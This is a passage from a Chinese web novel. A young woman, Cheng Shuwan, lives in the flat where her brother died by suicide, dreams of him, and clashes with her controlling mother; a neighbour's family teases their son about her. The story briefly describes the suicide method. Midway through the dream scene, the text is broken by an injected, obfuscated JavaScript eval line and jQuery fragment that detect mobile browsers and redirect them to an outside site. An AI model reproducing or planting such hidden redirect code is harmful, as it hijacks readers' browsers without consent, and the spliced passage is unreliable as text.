老小区就是这样，同一栋楼的邻居都相处了一二十年，哪家有点八卦隔天就全都知道了。
关时点头：“嗯，程老师妹妹。”
姚婉婷：“叫什么来着，舒晚对吧，你上回见过人家吗？人家认不认识你？”
“哪能不认识我。”关时懒洋洋道，“对我的脸有点自信，妈。”
姚婉婷看着他，“你还有脸？”
关时：“……”
鉴定为亲妈。
日常损儿子的姚婉婷才不在乎他自尊心，问：“我听六楼的说，舒晚是一个人住啊？”
关时想了想，“应该是。”
“那你得多关照下。”姚婉婷事无巨细地叮嘱起来，“改天带玥玥上门拜访拜访，或者让人家来家里吃个饭什么的，毕竟是程老师的家里人，姑娘家又一个人住，别人不说，咱家得上心点。”
关时“啊”了一声，片刻道：“慢慢来吧。”
“慢什么？”姚婉婷看着他，“热情点！年轻人！”
“打住，年轻人也有淡如菊的，我都已经够让人烦的了，别整天给我宣扬社交悍匪那套。”关时牙疼道，“那姑娘你就先别管了。”
“嗬哟，还挺霸道啊，整什么事儿？”姚婉婷“嘿”地笑起来，拍了拍他，“看上人姑娘了？多大年纪啊？程老师那么帅一小伙儿，妹妹也好看吧？”
关时忍不住乐了一声，“得了您，您儿子还没落到是个姑娘就惦记的程度。”
“啧，没志气，我就说你白瞎这张脸。”姚婉婷嫌弃地白他一眼，“别人那还真不好说，但这是程老师的妹妹，海大毕业高材生，那种条件扔市场上多少人抢着要，你还不趁着近水楼台……你爹跟你这么大已经给我求婚了，你还在这儿游手好闲的，也不知道打探军情、把握机会……诶！”
关时从沙发上蹦起来，撒腿落荒而逃——姚婉婷只要开了这个头就能滔滔不绝地讲下去，他还是走为上计才好。
“切，单身狗……”姚婉婷朝着他的背影嘀咕。
关时逃到阳台才松一口气，摸出打火机点了支烟夹在手上，却没有抽，而是垂着手臂架在露台边沿。
楼下的玉兰树长得很高，五楼的阳台望下去能看见树冠顶儿，阵阵树木的清香似有若无。
关时在花盆里弹了弹烟灰，抬起目光往上看，能看见八楼的阳台一角，隐隐透露出客厅的灯光。
那是802的阳台，过去是程舒恒，现在是程舒晚住的房子。关时吐出一口烟收回目光，手指在露台边沿上一下一下敲着。
额角的刘海微微拂过，扫得脑门儿发痒，关时回过神来，听见楼下的玉兰树正沙沙作响。
起风了。
他把烟头摁熄，转身拉开阳台门回屋里。
夜深。
程舒晚在床上翻了个身坐起来，伸出手摸索着打开了床头的灯。
大早上起来搬家收拾了一天，晚上又高强度打了三小时游戏，按理说身体应该是挺疲惫的了，但头脑里思绪繁多，一团乱麻地堆着，勒得她睡不着觉。
802是三室两厅两卫，程舒晚睡的次卧从前就一直就没人住，也不知道是不是心理原因，她总觉得又冷又闷，明明今天打扫的时候已经通过风了。
她穿上拖鞋去客厅倒了杯水，一边喝着，目光瞥到走廊尽头的主卧，那是程舒恒以前的房间，没有开灯，漆黑一片。
程舒晚像是被按下暂停键，端着杯子，眼也不眨地盯着房间门。
墙上的挂钟滴答，声声入耳，不知过了多久，她放下水杯，往主卧走去。
主卧挺大，正中摆着张线条简约的床，只有光秃秃的床垫，床单被子都收在衣柜里。房间里配套的卫生间比公卫小，但也不知道程舒恒是什么追求，装修的时候愣是在这个小卫生间塞了个浴缸，本就不大的卫生间更显得逼仄。
程舒晚打开主卫的灯，冷调的灯光打在白瓷砖铺就的卫生间里，白的墙壁，白的马桶，白的洗漱台，白的浴缸，四面八方都是没有生气的苍白。
她手搭着门框，无言地看着这个一眼就能尽收眼底的冷白主卫，狭窄不透气的空间，只要关上窗和门，即便是现在春末寒气尚在的天气也要闷一身汗。
更别提去年九月，朔江市漫长的夏季。
在那种炎热的天气里，程舒恒挑了这个房子里最小最密闭的这个空间，用胶带封了门窗。
他服用了精神医生那里开的安眠药，在浴缸里找了个舒服的姿势躺下。
然后烧了一盆碳。
这半年里，程舒晚时常忍不住想，兄长在做下这些事情的时候，到底是抱着什么样的心态。
父母自那之后就再也没来过这套房子，程舒晚知道他们在恐惧这里，逃避这里。
她不怕。
对于程舒恒的死，她心里的迷茫和疑惑远远多过恐惧。
二人虽然是亲兄妹，但年纪相差了六岁多，不但有代沟，而且各自的学生时代都常年住宿，兄妹之间别说是亲近，甚至可以说压根不太熟。
这么多年，她从来都不知道他在想什么。
在他眼里，自己这个妹妹，又算什么呢？
程舒晚在主卧站了很久，半晌才关了灯，重新回到次卧钻回被窝。
这一晚上睡得相当不踏实，或者说根本没怎么睡，迷迷糊糊之间，程舒晚似乎做了个梦，梦到自己身处八年前常去的小网吧里。
网吧环境昏暗，没有人，只有一排排的显示器亮着，但上面的内容无一例外都是空白，亮得刺眼，齐刷刷地对着她。她在这一排排显示器的注视下往前走，但网吧却像一条没有尽头的走廊，没有人，也没有出路。
不知道走了多久，身后突然有什么东西拽住了她，她回头，看见了程舒恒的脸。
程舒恒是个白净文弱的青年，总是挂着低眉顺眼的微笑，没什么脾气。但梦里的他冷着一张脸，满目陌生的情绪，直勾勾地盯着她。
下一刻，他的脸一下子变换了，好像变成晚上那中年男人的脸，又与父亲的样貌重叠，随后扬起手，一个巴掌招呼了下来，把她扇倒在地，周围的一切都颠倒起来，仿佛闪着雪花的屏幕，伴随带着怒意的喊叫：“丢人！”
声与色混乱得让人失去感受，程舒晚瘫坐在地，几乎没有起身的力气。
“叉烧。”
有个少年的声音穿过了混沌的外壳，在耳边响起。
这是……二更天？
程舒晚抬起头，面前伸过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364880|183889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来一只手，模模糊糊的，她目光顺着往上看，同样看不清少年长什么模样。
“走吗？”少年的声音又响了起来。
程舒晚伸手抓住少年的手，正要从地上起来，手里一空，少年消失了。
她重新跌倒在地，满身狼狈。
程舒晚醒来的时候只觉眼皮沉重，脑子里一阵阵地发疼。窗外天光大亮，除了似有若无的鸟鸣之外，还有一阵阵有规律的嗡声，她是被这阵声音吵醒的。
是床头柜上的手机在振动。
几点了？
她揉了揉眼睛，质量极差的睡眠和混乱的梦境让她升起一阵烦躁，伸手摸到手机，一睹这大清早扰人清静的是谁。
来电备注只有一个字。
“妈”。
程舒晚瞬间清醒了。
还没做好心理准备，电话就因为太久未接自动挂断，程舒晚看了眼时间，早上八点半，不算太晚，她统共也没睡几小时，但对母亲来说肯定是不能容忍的“晚起”。
这个念头还没落下，手机就再次振动起来，有一种必然要接通的可怕气势。她深吸一口气，咳嗽两声清清嗓子，按下接通：“妈。”
电话刚刚接通就沉默了两秒，随后母亲蒋慧玲的声音冷冷淡淡响起：“没起床？”
“刚起。”程舒晚回答，“怎么。”
“怎么？”蒋慧玲反问，“你不打一个电话过来，还不许我打？”
程舒晚没说话。
她不知道面对这种指责，她应该说些什么。
“住得惯吗？”蒋慧玲问。
程舒晚“嗯”了声。
又是沉默。
程舒晚和母亲之间的对话总是蔓延着一种诡谲，那种充斥在对话中无数个角落的沉默会把交流拉得无限长，钝刀割肉似的，一点点往下剖。
“那你的叛逆期耍够了没有。”蒋慧玲道，“打算什么时候搬回来。”
程舒晚刺道：“你不是让我别后悔么？”
“那些是气话。”蒋慧玲语重心长，“晚晚，你要知道妈跟爸只是担心，我们知道你性子强，但是一个人总比不了……”
“妈。”程舒晚打断道，“我马上二十六岁了。”
蒋慧玲：“所以呢？”
程舒晚：“所以我知道什么是好什么是不好，也不会像十八岁的时候那么好骗了。”
蒋慧玲：“……”
这次电话里的沉默时间更长。
程舒晚：“没事的话我就挂了。”
“程舒晚。”蒋慧玲说道。
她不再喊“晚晚”，而是叫了全名，声音也冷了下来。
“你是不是对我和你爸很不满意。”她一字一句，“你爸前两天确实激动砸了你的电脑，但那是什么原因你不知道吗？”
程舒晚心里不屑地“呵”了声。
“你电脑里为什么还有游戏，你还想像大学的时候一样再气我们一次？”蒋慧玲加重了声音，“你扪心自问，这二十年我们把你送进海大付出了多少，你让我们失望多少次，你想过吗？”
程舒晚捏着鼻梁，在母亲看不见的地方，她扯了一个大大的笑，讽刺至极。
“我说了，妈，我没有那么好骗了。”